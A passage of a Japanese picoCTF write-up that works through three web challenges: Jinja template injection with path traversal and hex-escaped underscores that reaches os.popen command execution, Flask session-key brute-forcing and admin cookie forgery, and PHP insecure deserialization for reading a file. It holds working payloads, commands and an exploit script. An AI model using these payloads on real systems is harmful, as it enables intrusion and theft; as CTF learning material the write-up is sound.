..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa100
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
{{10*10}}
が評価されて100
という値がレスポンスに含まれているのが分かる。
- 実行したいJinja構文:
{{config}}
- ペイロード:
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}
$ curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{config}}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:00:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html</a>. If not, click the link.
/templates/errors/
にaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM.html
が作成された。
作成されたファイルにアクセスしてみた。
$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:02:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1363
Connection: close
<!doctype html>
<h3>
error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-dber8roRbjM
</h3>
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
{{config}}
が評価されて、設定情報がレスポンスに含まれているのが分かる。
- 実行したいJinja構文:
{%print('hello')%}{%print(' world')%}
- ペイロード:
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{%print('hello')%}{%print(' world')%}
$ curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{%print('hello')%}{%print(' world')%}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:04:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html</a>. If not, click the link.
/templates/errors/
にaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o.html
が作成された。
作成されたファイルにアクセスしてみた。
$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 06:06:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 457
Connection: close
<!doctype html>
<h3>
error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-egfgcZcaG8o
</h3>
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahello world
<h2>make a new note</h2>
<form action="/new" method="POST">
<textarea name="content"></textarea>
<input type="submit">
</form>
{%print('hello')%}{%print(' world')%}
が評価されて、hello world
というメッセージがレスポンスに含まれているのが分かる。
長々と検証したが、あとは本番のサーバーに細工したリクエストを送ってフラグを取るだけである。
まずはノートに以下を入力して、ls
コマンドを実行し、ディレクトリとファイルの一覧を取得した。(アンダースコア(_
)がフィルターされているのでHexエンコード(\x5f
)を施し、フィルターを回避する。コマンドの構成はこちらのサイトを参考にした。)
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]()}}
作成されたファイルにアクセスしてみたところ、レスポンスの中にflag-c8f5526c-4122-4578-96de-d7dd27193798.txt
というファイルを発見した。
https://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-K0FoZLViMw4
以下をノートに入力してcat
コマンドでflag-c8f5526c-4122-4578-96de-d7dd27193798.txt
の中身を読み出したところ、フラグを取れた。
..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt")["read"]()}}
https://notepad.mars.picoctf.net/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-idAHyeQohKI
Most Cookies (150points)
Webサイトhttp://mercury.picoctf.net:53700/
を解析してフラグを取得する問題。
サイトにアクセスするとsession
という名前のクッキーが付与される。
$ curl -i http://mercury.picoctf.net:53700/
HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: http://mercury.picoctf.net:53700/
Vary: Cookie
Set-Cookie: session=eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzIMg.ndxk9yMI069Vxppsn9E_hlsV5UE; HttpOnly; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.
session
クッキーに適切な値を設定して管理者としてサイトにアクセスするとフラグを取れる模様。
この問題ではアプリケーションのソースコードserver.py
も一緒に渡された。
以下、server.py
の内容。
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
上記のソースコードより以下の内容が読み取れる。
- クッキーの生成にFlaskのsessionを利用している。
"snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"
から1つをランダムに選択し、クッキーを署名する際の鍵 (secret key)として利用する。session
クッキーに{"very_auth":"admin"}
という値を設定してhttp://mercury.picoctf.net:53700/display
にアクセスするとflag.html
が読み込まれ、フラグが表示される。
フラグを取るにはsession
クッキーに{"very_auth":"admin"}
という値を設定して、正しい鍵で署名した後、http://mercury.picoctf.net:53700/display
にアクセスすれば良い模様。
上記を実行するには、まず署名に使用される鍵を特定する必要がある。
何か良いツールは無いかと調べたところ、flask-unsignというお誂え向きのツールを見つけた。
ツールをインストール (pip3 install flask-unsign
)して、鍵をブルートフォースしてみた。
以下のコマンドでクッキーに対して辞書攻撃ができる。(コマンドはこちらのサイトを参考にした。)
flask-unsign --wordlist /path/to/your/dictionary.txt --unsign --cookie '<cookie>' --no-literal-eval
ソースコードより、鍵には"snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"
のいずれかが使用されることが判明しているので、これらの値をsecret-key.txt
として保存し、辞書攻撃に利用した。
以下は、secret-key.txt
の中身。
snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
whoopie pie
sugar
molasses
kiss
biscotti
butter
spritz
snowball
drop
thumbprint
pinwheel
wafer
macaroon
fortune
crinkle
icebox
gingerbread
tassie
lebkuchen
macaron
black and white
white chocolate macadamia
クッキーをいくつかデコードしてみた。
$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzIMg.ndxk9yMI069Vxppsn9E_hlsV5UE' --no-literal-eval
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
b'peanut butter'
$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzQ7g.MCvDCVRFtAFjPWD31M8iBhQJ3mM'
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'
$ flask-unsign --wordlist secret-key.txt --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZNzRFw.eyuRS0eAQmV1a-FqkBd8QZjIHUM'
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'
どうやらpeanut butter
を鍵に用いてクッキーを署名している模様。
あとは{"very_auth":"admin"}
という値をpeanut butter
で署名してsession
クッキーに設定すればよい。
以下のコマンドで署名した。
flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret 'peanut butter'
$ flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret 'peanut butter'
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuw
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuw
をsession
クッキーに設定してhttp://mercury.picoctf.net:53700/display
にアクセスしたところ、フラグを取れた。
$ curl -i http://mercury.picoctf.net:53700/display -H "Cookie: session=eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZNzZtA.lkx1-b2DsB3Pg_90Uz1t4C6iyuw"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1194
Vary: Cookie
<!DOCTYPE html>
<html lang="en">
<head>
<title>Most Cookies</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="header">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation"><a href="/reset" class="btn btn-link pull-right">Reset</a>
</li>
</ul>
</nav>
<h3 class="text-muted">Most Cookies</h3>
</div>
<div class="jumbotron">
<p class="lead"></p>
<p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{pwn_4ll_th3_cook1E5_<REDACTED>}</code></p>
</div>
<footer class="footer">
<p>© PicoCTF</p>
</footer>
</div>
</body>
</html>
Super Serial (130points)
Webサイトhttp://mercury.picoctf.net:2148/
を解析してフラグを取得する問題。
サイトにアクセスするとログインフォームが表示される。
以下はサイトのソースコードである。
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
user
というパラメータにユーザー名を、pass
というパラメータにパスワードを指定してindex.php
へPOSTする。
SQLインジェクションで認証回避してログインする感じの問題かと当たりをつけて、いくつか細工したリクエストを送ってみたが、不正なログインとして弾かれてしまった。 攻撃のヒントにつながるようなエラーメッセージも確認できなかった。
ヒントを見てみた。
The flag is at ../flag
../flag
にアクセスしてみたが、404 Not Found
エラーが返ってきた。
$ curl -i http://mercury.picoctf.net:2148/../flhttp://mercury.picoctf.net:2148/../flag
HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/plain
Not Found
../flag
を%2e%2e/flag
にURLエンコードしてアクセスしてみたところ、403 Forbidden
エラーが返ってきた。 このエラーにより、flag
というファイルは存在するものの、アクセス制限が設けられていることが判明した。
$ curl -i http://mercury.picoctf.net:2148/%2e%2e/flag
HTTP/1.1 403 Forbidden
Connection: close
Content-Type: text/plain
Forbidden
.htaccess
を覗けないか試してみたが、アクセスできなかった。
$ curl -i http://mercury.picoctf.net:2148/.htaccess
HTTP/1.1 404 Not Found
Connection: close
Content-Type: text/plain
Not Found
こちらのサイトを参考に、アクセス制限を回避できないかと色々試してみたが、空振りに終わった。
で、色々ググっているうちに、うっかり他所のWriteUpでネタバレを見てしまった。
ネタバレの内容はhttp://mercury.picoctf.net:2148/robots.txt
にアクセスするというもの。
見てしまったものは仕方ないので、そそくさとrobots.txt
を覗いてみた。
$ curl -i http://mercury.picoctf.net:2148/robots.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 36
Last-Modified: Tue, 16 Mar 2021 01:32:21 GMT
User-agent: *
Disallow: /admin.phps
/admin.phps
のインデックスが禁止されているのが伺える。
admin.phps
やadmin.php
というファイルはサーバー上に存在していなかったが、.phps
という拡張子にピンときてindex.phps
にアクセスしたところ、index.php
のソースコードが表示された。(.phps
というのはPHPのソースコードを表示する特別な拡張子とのこと。※参考)
以下はindex.php
のソースコード。
<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<?php if (isset($msg)) echo $msg; ?>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
cookie.php
とauthentication.php
を参照しているのが確認できた。 (ちなみに、同じく参照されていたデータベースファイルusers.db
をダウンロードできないか試してみたが、駄目だった。)
cookie.phps
とauthentication.phps
にアクセスして、それぞれのソースコードを取得した。
以下はcookie.php
のソースコード。
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
以下はauthentication.php
のソースコード。
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center"><?php echo $msg; ?></h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
それぞれのPHPスクリプトの働きは以下の通り。
index.php
- ログインフォームからユーザー名とパスワードを受け取り、データベース(
users.db
)に一致するユーザーの情報があるか確認する。 - ユーザーが
admin
もしくはguest
のいずれかだった場合、ユーザー情報をシリアライズしてlogin
という名前のクッキーにセットし、authentication.php
へリダイレクトする。 - ユーザーが
admin
もしくはguest
のいずれとも一致しなかった場合、Invalid Login.
というメッセージを表示する。
cookie.php
login
クッキーの値をデシリアライズする。- ログインを試みたユーザーが
admin
なのかguest
なのか判定する。
authentication.php
- ログインしたユーザーが
admin
だった場合、Welcome admin
というメッセージを表示し、ログイン日時をaccess.log
に書き込む。 - ログインしたユーザーが
admin
ではない場合、Welcome guest
というメッセージを表示する。
ここで注目すべきはindex.php
でユーザー由来のデータをシリアライズし、cookie.php
でデシリアライズするという点である。
これは典型的な「安全でないデシリアライゼーション」処理である。
以下は徳丸浩 著 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版 (SB Creative発行)P.351からの引用である。
シリアライズされたデータが信頼できない場合、デシリアライズ処理の際に意図しないオブジェクトがアプリケーション内に生成され、場合によっては任意のコードを実行されてしまう場合があります。
また同著のP.354によると攻撃の条件として以下が挙げられている。
- 外部から操作できる値に対してデシリアライズ処理を掛けている。
- デシリアライズできるクラスは、あらかじめクラスの定義がされているか、autoloadという仕組みで自動的にクラス定義が読み込まれる必要がある。
本アプリケーションは両方の条件を満たしている。
cookie.php
にてlogin
クッキーの値をデシリアライズしている。クッキーの値はクライアント側で操作することができる。authentication.php
にてaccess_log
というクラスが定義されている。
安全でないデシリアライゼーションを攻撃する際に悪用されやすいメソッドとして__destruct()
、unserialize_callback_func
、__wakeup()
、__toString()
があるが、access_log
クラスには__toString()
メソッドが定義されていた。
以下はauthentication.php
で定義されているaccess_log
クラスのソースコードである。
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
access_log
クラスはオブジェクトの生成時に任意のファイルを引数に指定でき、__toString()
メソッドはそのファイルの中身を読み出すためのメソッドである。
__toString()
メソッドはオブジェクトが文字列として扱われた場合に呼び出される。例えばオブジェクトがecho()
やprint()
に渡された場合、__toString()
メソッドで定義された処理が実行される。(※参考)
cookie.php
を眺めたところ、以下の処理が目についた。
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
上記によると、login
クッキーの値をデシリアライズし、エラーが発生した場合はデシリアライズしたデータをdie()
に渡す。
この挙動を利用すれば__toString()
メソッドで../flag
の中身を読み出して、die()
で表示できそうである。
以下の流れでフラグを読み取ることができると思われる。
- 引数に
../flag
と指定してaccess_log
クラスのオブジェクトを生成する。 - 生成したオブジェクトをシリアライズして
login
クッキーにセットし、サーバーへリクエストを送る。 - すると、アプリケーション内部で
__toString()
メソッドが呼び出されて../flag
の中身が読み出され、die()
によってファイルの内容が表示される。。はず
以下のPHPスクリプトを作成して、攻撃のためのペイロードを生成した。
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
$flag = new access_log('../flag');
$mycookie = urlencode(base64_encode(serialize($flag)));
print($mycookie);
?>
上記のスクリプトを実行したところ、TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
という値が生成された。(ちなみにこの値をデコードするとO:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
となる)
$ php exploit.php
